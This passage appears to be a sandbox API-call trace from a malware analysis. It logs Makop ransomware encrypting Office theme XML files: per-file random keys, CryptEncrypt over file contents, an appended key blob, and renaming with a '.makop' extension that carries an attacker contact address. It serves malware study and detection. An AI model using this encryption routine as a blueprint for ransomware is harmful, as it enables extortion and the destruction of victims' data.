lpOverlapped=0x0) returned 1 [0158.109] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.109] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.109] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3a0, lpOverlapped=0x0) returned 1 [0158.109] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0) returned 1 [0158.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.110] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a0, lpOverlapped=0x0) returned 1 [0158.110] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.110] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.110] SetEndOfFile (hFile=0xf0) returned 1 [0158.116] GetProcessHeap () returned 0x48a0000 [0158.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.117] GetProcessHeap () returned 0x48a0000 [0158.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.117] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0158.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.119] CloseHandle (hObject=0xf0) returned 1 [0158.120] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0158.120] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml") returned 79 [0158.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.121] GetProcessHeap () returned 0x48a0000 [0158.121] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.121] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0158.126] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.126] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.126] GetProcessHeap () returned 0x48a0000 [0158.126] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.127] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.127] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.127] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.127] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.127] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.127] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.128] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.128] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.128] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.128] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.128] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.129] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.129] SetEndOfFile (hFile=0xf0) returned 1 [0158.136] GetProcessHeap () returned 0x48a0000 [0158.136] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.136] GetProcessHeap () returned 0x48a0000 [0158.136] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.136] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0158.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.139] CloseHandle (hObject=0xf0) returned 1 [0158.139] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0158.139] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml") returned 74 [0158.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.140] GetProcessHeap () returned 0x48a0000 [0158.140] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.141] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0158.145] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.145] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.145] GetProcessHeap () returned 0x48a0000 [0158.145] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.145] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.145] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.146] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.146] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.146] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.146] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.146] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.146] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3bf, lpOverlapped=0x0) returned 1 [0158.147] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0158.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0158.147] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.147] SetEndOfFile (hFile=0xf0) returned 1 [0158.153] GetProcessHeap () returned 0x48a0000 [0158.153] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.153] GetProcessHeap () returned 0x48a0000 [0158.154] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.154] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0158.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.155] CloseHandle (hObject=0xf0) returned 1 [0158.156] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0158.156] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml") returned 77 [0158.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.157] GetProcessHeap () returned 0x48a0000 [0158.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.157] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0158.162] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.162] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.162] GetProcessHeap () returned 0x48a0000 [0158.162] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.162] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.162] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.162] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.162] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.162] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.163] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.163] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.163] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.164] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.164] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.164] SetEndOfFile (hFile=0xf0) returned 1 [0158.171] GetProcessHeap () returned 0x48a0000 [0158.171] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.171] GetProcessHeap () returned 0x48a0000 [0158.171] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.171] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0158.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.174] CloseHandle (hObject=0xf0) returned 1 [0158.175] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0158.175] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml") returned 79 [0158.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.177] GetProcessHeap () returned 0x48a0000 [0158.177] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.177] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.177] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.177] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.177] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.177] GetProcessHeap () returned 0x48a0000 [0158.177] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.178] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.178] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.182] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.182] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.182] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, 